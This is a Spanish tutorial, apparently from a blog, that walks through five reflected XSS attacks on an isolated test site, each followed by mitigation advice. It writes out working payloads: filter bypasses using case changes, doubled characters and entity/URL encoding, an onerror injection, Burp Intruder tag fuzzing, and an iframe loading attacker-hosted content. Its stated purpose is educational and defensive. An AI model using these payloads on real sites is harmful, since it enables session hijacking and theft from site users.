Cómo explotar vulnerabilidades de XSS (Cross-Site Scripting) en web de ejemplo. Cómo establecer medidas para mitigar este posible vector de ataque e impedir que se explote su vulnerabilidad asociada. Mostramos cuatro ejemplo de nivel de dificultad creciente de ataques existosos de XSS.

Nota importante antes de continuar leyendo

Todas las técnicas de ataque y cualquier otro medio e información indicada en este artículo se realiza contra un servidor virtual aislado de pruebas.

Todas estas técnicas de explotación de vulnerabilidades se exponen únicamente con fines educativos. Su único cometido es entender los posibles ataques a que estamos expuestos y así saber cómo poder evitarlos.

Concepto de XSS Cross-Site Scripting

El Cross-Site Scripting (XSS) es una vulnerabilidad web que permite a un atacante comprometer las interacciones que los usuarios tienen con una aplicación (habitualmente web) vulnerable. Esta técnica de ataque se suele realizar en el frontend.

El XSS deriva de deficiencias en la validación de las entradas de datos en los sitios web. El atacante manipula un sitio web vulnerable para que devuelva código Javascript malicioso a los usuarios. Cuando el código malicioso se ejecuta dentro del navegador de la víctima, el atacante puede comprometer completamente su interacción con la aplicación, como por ejemplo
suplantando al usuario, llevando a cabo acciones en su nombre o accediendo a sus datos.

Por tanto, el XSS es una ataque que se realiza contra los usuarios aprovechando una vulnerabilidad existente en una aplicación web.

Existen varios tipos de XSS:

  • XSS almacenado: el código malicioso utilizado en el ataque se guarda en la base de datos de la aplicación web y se muestran mensajes o se realiza cualquie acción maliciosa en el navegador web para todos los usuarios que acceden al recurso vulnerable. Un ejemplo sería una funcionalidad de escribir un comentario o reseña vulnerable a XSS.
  • XSS reflejado: el código utilizado en el ataque es dependiente de la petición realizada por el usuario, generalmente a partir de un enlace malintencionado que desencadena el XSS. Por tanto, no se almacena en la aplicación y el atacante necesita engañar a la victima para que ejecute el enlace.

Ejemplo 1 de explotación de vulnerabilidad de XSS en sitio web

Mostraremos ahora los pasos habituales que suele realizar un atacante contra un sitio web, en busca de una posible vulnerabilidad XSS.

Pasos previos al ataque XSS

En primer lugar, examinará el código fuente de la página para entender un poco cómo está «montada». Por supuesto, al estar observando del lado del cliente, el código que verá será el HTML del navegador, nunca (salvo grave vulnerabilidad) podrá ver el código del lado del servidor (PHP, ASP, JSP, …).

Por ejemplo, en una página HTML, el atacante buscará los posibles formularios de envío de datos, comentarios que se escapan a los desarrolladores con información sensible, enlaces a ficheros con posibles vulnerabilidades y exposición de datos, etc.:

El atacante también observará la composición de la URL, los parámetros que se envían y cómo se envían. Esta parte es crítica para el XSS, dado que si no tenemos los controles adecuados, será una fuente sencilla de explotación mediante XSS. Por ejemplo, una URL como esta:

https://webpruebasxss.com/xss1?name=Hola

Ejemplo 1 de explotación de vulnerabilidad de XSS en sitio web

El atacante analizará los parámetros de la URL, en este caso el parámetro name y verá cómo se le pasa la información, en este caso en plano tras el igual =Hola.

El ataque XSS

Tras recabar la información anterior, el atacante realizará una primera prueba para verificar si el sitio es vulnerable a XSS, cambiando la URL anterior por:

https://webpruebasxss.com/xss1?name=Hola«><script>alert(«Prueba»);</script>

Si la web devuelve un error controlado o bien si no muestra ninguna alerta, podría indicar que los desarrolladores han implementado ciertas medidas para mitigar un posible ataque de XSS. Pero si la web recibe el alert con el texto «Prueba», indicará que es vulnerable a XSS y puede ser explotada:

Ejemplo 1 de explotación de vulnerabilidad de XSS en sitio web

En este caso vemos que la web devuelve el mensaje de alerta JavaScript que el atacante ha inyectado en la URL, por lo tanto la web se considera vulnerable a XSS. Esta vulnerabilidad puede ser fácilmente explotable. Con JavaScript pueden realizarse muchísimas acciones maliciosas sobre el frontend.

Algunos consejos para mitigar la anterior vulnerabilidad XSS

Una forma sencilla de mitigar esta vulnerabilidad es haciendo una comprobación de caracteres introducidos en la URL antes de ejecutar cualquier código.

En este caso se espera un texto en la URL, por lo que no deberían permitirse caracteres tipo comillas dobles, comillas simples, símbolos de menor, mayor, más, menos, igual, punto y coma, paréntesis, corchetes, llaves, barras y contrabarras, no permitir palabras clave como: “script”, “php”, “javascript”, “css”, …, ni códigos escapados del tipo &gt; (para símbolo >), &lt; (para símbolo menor).

Con estos controles se mitigaría en un alto porcentaje esta vulnerabilidad XSS.

Ejemplo 2 de explotación de vulnerabilidad de XSS en sitio web

En este segundo ejemplo, de mayor dificultad que el anterior para el atacante (pero no imposible), los desarrolladores de la web sí han tenido en cuenta y han contemplado la posible introducción de símbolos como «<» en la URL, para evitar el XSS. Pero esto no es suficiente.

En este caso, al introducir en la URL el código JavaScript (como en el ejemplo anterior):

https://webpruebasxss.com/xss2?name=<script>alert(«Prueba»);</script>

En este caso, revisando el código fuente HTML devuelto, el atacante verá que los desarrolladores han tenido en cuenta la supresión de la palabra clave «script», pero aparentemente nada más:

Ejemplo 2 de explotación de vulnerabilidad de XSS en sitio web

En este caso, el atacante realizará otras pruebas para inyectar código JavaScript en la URL, por ejemplo, cambiando las mayúsculas/minúsculas de la palabra «script», porque a veces los desarrolladores sólo han tenido en cuenta la comprobación de «Script», o «script», así que el atacante probará con combinaciones como scriPt:

https://webpruebasxss.com/xss2?name=<scripT>alert(«Prueba»);</scriPt>

Y en este caso, vemos que la web también es vulnerable a XSS:

Ejemplo 2 de explotación de vulnerabilidad de XSS en sitio web

Algunos consejos para mitigar la anterior vulnerabilidad XSS

En este caso, se aplicarían las medidas de mitigación indicadas para el ejemplo 1, añadiendo, por supuesto, un «ignore case-sensitive». Es decir, que en la comprobación de palabras clave del tipo script, PHP, ASP, JavaScript, CSS, XML, etc., no tenga en cuenta mayúsculas/minúsculas.

Ejemplo 3 de explotación de vulnerabilidad de XSS en sitio web

Seguimos aumentando el nivel de dificultad, haciendo la primera prueba habitual:

https://webpruebasxss.com/xss3?name=<script>alert(«Prueba»);</script>

Se obtiene, revisando el código HTML:

Por lo que parece que los desarrolladores suprimen los caracteres «<s». Con lo cual, a priori, no se podría inyectar un <script>. Pero sí que se puede, añadiendo el payload:

<<sscript>alert(«Prueba»)<<s/script>

A la URL:

https://webpruebasxss.com/xss3?name=<<sscript>alert(«Prueba»)<<s/script>

Quedando vulnerable a XSS nuevamente la web:

Ejemplo 3 de explotación de vulnerabilidad de XSS en sitio web

Algunos consejos para mitigar la anterior vulnerabilidad XSS

En este caso, se aplicarían las medidas de mitigación indicadas para el ejemplo 1 y 2, añadiendo la búsqueda recursiva, es decir, de nada vale buscar sólo <s una vez en los datos de entrada. Si se decide por parte de los desarrolladores buscar «<s», «t>» y cosas similares, debe hacerse recursivamente, teniendo en cuenta que los atacantes pueden intentar repetirlos varias veces , como en el caso anterior.

Ejemplo 4 de explotación de vulnerabilidad de XSS en sitio web

Seguimos en aumento de la dificultad, en este caso, al hacer la primera prueba, vemos que nos devuelve un error indicando que no se puede usar el carácter <:

https://webpruebasxss.com/xss4?name=<script>alert(«Prueba 4»);</script>

Ejemplo 4 de explotación de vulnerabilidad de XSS en sitio web

Si pasamos una URL «normal», sin payload, del tipo:

https://webpruebasxss.com/xss4?name=Hola

Vemos en el código fuente que el valor pasado al parámetro «name» se inserta en un src de una imagen:

Dentro de estos tag también podría ejecutarse código JavaScript, por lo tanto el atacante intentará. En el caso anterior vemos que la imagen «img» dará error porque no existe. Esto puede ser un fallo típico de los desarrolladores, que probablemente querían permitir elegir la imagen al usuario, pero no han depurado el código. Por ello, se podría usar el evento onerror que se puede capturar en las imágenes cuando dan error, añadiendo algo así como:

https://webpruebasxss.com/xss4?name=Hola’ +onerror alert(«Prueba 4»)’

Pero vemos que el desarrollador ha tenido en cuenta suprimir los caracteres «(«, porque muestra el error:

Ejemplo 4 de explotación de vulnerabilidad de XSS en sitio web

Por esta simple comprobación, el nivel de dificultad para explotar la vulnerabilidad de XSS aumenta, pero no es imposible. Lo que hará el atacante será codificar los valores que le pasará al parámetro «name», usando cualquier codificador online, pasando el paréntesis abierto a &lpar; y el cerrado a &rpar;, quedando algo así como:

name=Hola’ +onerror alert&lpar;«Prueba 4»&rpar;

Pero lo anterior aún no sería suficiente, dado que el carácter & sirve para separar parámetros, habría que url-encodear dicho carácter, pasando a %26, quedando:

name=Hola’ +onerror alert%26lpar;«Prueba 4»%26rpar;

Si realizamos la prueba ahora, aún nos devuelve una doble comilla final, para solucionar este problema, el atacante añadirá un parámetro inventado para solucionar la doble comilla, ya que no deja acabar con «>». El payload final que usará el atacante para el XSS será:

https://webpruebasxss.comxss4?name=Hola’+onerror%3d’alert%26lpar;»Prueba»%26rpar;’+parametro=’

Ejemplo 4 de explotación de vulnerabilidad de XSS en sitio web

Algunos consejos para mitigar la anterior vulnerabilidad XSS

En este caso, se aplicarían las medidas de mitigación indicadas para el ejemplo 1, 2 y 3, y el desarrollador evitará que se permita incluir código JavaScript y similar en imágenes y otros elementos web. Como vemos en el ataque, se ha usado codificación de entidades HTML, es decir, el atacante ha cambiado un paréntesis abierto por &lpar; y uno cerrado por &rpar;, por lo que también es conveniente convertir los caracteres que queremos suprimir: <, >, /, \, ‘, «, (, ), [, ], etc. a sus correspondientes entidades HTML y si se encuentran, suprimirlas.

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

En este caso, el ataque será mucho más elaborado, pero efectivo igualmente. El atacante realizará las comprobaciones anteriores y verá que no le deja poner ciertas palabras, tampoco el «on…» anterior, o etiquetas como «img». Por lo tanto, usando una herramienta externa, como Burp Suite, podrá realizar una ataque de fuerza bruta para averiguar qué tags permiten pasársele como parámetro a la URL. Para ello, el atacante buscará una lista de posibles tag, como esta (es una pequeña muestra, hay decenas más):

En el caso de usar la herramienta Burp Suite, habiendo interceptado la URL «normal», la pasaremos al Intruder «Send to Intruder»:

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

Pegaremos la lista de tags en los Payloads del Intruder de Burp Suite (o la herramienta que el atacante vaya a usar):

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

Una vez en el Intruder, con los Payloads cargados, añadiremos lo siguiente en la primera línea de Payload Positions:

GET /xss5?name=Hola»><§test§> HTTP/1.1

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

De esta forma, Burp Suite, cuando iniciemos el ataque, reemplazará el parámetro §test§ por cada payload cargado, enviando la petición y devolviendo el resultado. Así el atacante podrá descubrir, de forma automatizada, qué etiquetas (tag) admite que se pasen por parámetro para perpetrar el ataque. El atacante ejecutará el ataque:

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

En este caso, el atacante descubrirá que la etiqueta <iframe> está permitida:

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

Será esta, pues, la que intente usar para el ataque. En este caso, al tratarse de un <iframe> dentro del parámetro de la URL, lo que hará el atacante será montar un servidor web local, por ejemplo desde Linux con Python, en primer lugar creará un fichero index.html con el siguiente contenido:

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

Una vez creado el fichero html con el payload en el equipo local, montaremos un sencillo servidor web con:

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

El servidor web quedará a la escucha por el puerto 8000. Ahora el atacante enviará la URL con la ejecución del iframe a sus víctimas:

https://webpruebasxss.com/xss5?name=hacker»><iframe+src=»http://192.168.1.30:8000/index.html»>

Donde 192.168.1.30 será la IP interna del servidor web que hemos montado (podría ser una IP pública externa si así lo hubiera configurado el atacante)

Que se tendría que url-encodear quedando:

https://webpruebasxss.com/xss5?name=hacker»><iframe+src%3D»http%3A//192.168.1.30%3A8000/index.html»>

Al ejecutar la URL con el payload, accederá al servidor web local y mostrará la alerta JavaScript:

Ejemplo 5 de explotación de vulnerabilidad de XSS en sitio web

Vemos el impacto que puede causar esta vulnerabilidad XSS, dado que el atacante puede montar un servidor web accesible desde de fuera de su red, ejecutar código JavaScript suficiente para, por ejemplo, recabar información del usuario víctima y explotarlo. Sólo tendría que pasar la URL con el payload y acceso a su servidor web engañando a las víctimas, haciéndoles creer que se trata de la URL orginal de acceso a la web.

Algunos consejos para mitigar la anterior vulnerabilidad XSS

Tras analizar este último caso de ataque XSS vemos que usar un diccionario de palabras clave prohibidas no será suficiente, dado que el atacante puede usar numerosas variaciones de las mismas, además, con versiones nuevas de HTML y JavaScript, se irán añadiendo nuevas etiquetas, lo que hace mantener estas listas muy difícil.

Por ello, para mitigar ataques de XSS, lo más efectivo es, como indica OWASP:

  • Si utilizamos frameworks, intentar usar los más seguros por diseño, que codifican automáticamente el contenido para prevenir XSS, como por ejemplo Ruby 3.0 ó React JS.
  • Codificar los datos de requerimientos HTTP no confiables en los campos de salida HTML (cuerpo, atributos, JavaScript, CSS, o URL). Esta codificación resolverá los XSS reflejados y XSS almacenados.
  • Aplicar codificación sensitiva al contexto, cuando se modifica el documento en el navegador del cliente, ayuda a prevenir XSS DOM. Cuando esta técnica no se puede aplicar, se pueden usar técnicas similares de codificación.
  • Habilitar una Política de Seguridad de Contenido (CSP) supone una defensa para la mitigación de vulnerabilidades XSS, asumiendo que no hay otras vulnerabilidades que permitan colocar código malicioso vía inclusión de archivos locales, bibliotecas vulnerables en fuentes conocidas almacenadas en Redes de Distribución de Contenidos (CDN) o localmente.

Y nunca están de más las medidas mencionadas anteriormente. Es muy importante comprobar siempre los valores de entrada de los parámetros antes de hacer cualquier acción.

Por supuesto, muchos de estos intentos de explotación de vulnerabilidades, también son mitigables por parte del usuario, de la persona, que debe estar formada y concienciada. Dado que algunos de estos ataques usan el phising y otros mecanismos de ingeniería social para conseguir que los usuarios pulsen en los enlaces con el código dañino inyectado. Si el usuario está formado y usa el sentido común, evitará pulsar en enlaces que provienen de mails sospechos y, para acceder a un sitio web, usará el enlace del sitio oficial y navegará por sus menúes hasta encontrar la sección adecuada. El usuario revisará un enlace antes de pulsarlo, por si la URL está compuesta de forma extraña, como la del ejemplo 5.